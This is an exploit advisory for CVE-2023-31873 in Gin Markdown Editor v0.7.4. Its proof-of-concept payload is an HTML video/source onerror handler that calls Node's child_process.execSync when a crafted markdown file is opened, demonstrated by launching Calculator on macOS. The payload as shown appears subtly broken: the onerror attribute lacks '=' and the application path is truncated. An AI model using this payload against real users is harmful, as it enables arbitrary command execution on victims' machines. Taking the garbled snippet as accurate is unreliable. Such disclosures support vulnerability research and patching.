# Exploit Title: Gin Markdown Editor v0.7.4 (Electron) - Arbitrary Code Execution
# Date: 2023-04-24
# Exploit Author: 8bitsec
# CVE: CVE-2023-31873
# Vendor Homepage:
# Software Link:
# Version: 0.7.4
# Tested on: [Mac OS 13]

Release Date:


Product & Service Introduction: Javascript Markdown editor for Mac

Technical Details & Description:
A vulnerability was discovered on Gin markdown editor v0.7.4 allowing a user to execute arbitrary code by opening a specially crafted file.

Proof of Concept (PoC):
Arbitrary code execution:

Create a markdown file (.md) in any text editor and write the following payload:
<video><source onerror"alert(require('child_process').execSync('/System/Applications/').toString());">

Opening the file in Gin will auto execute the Calculator application.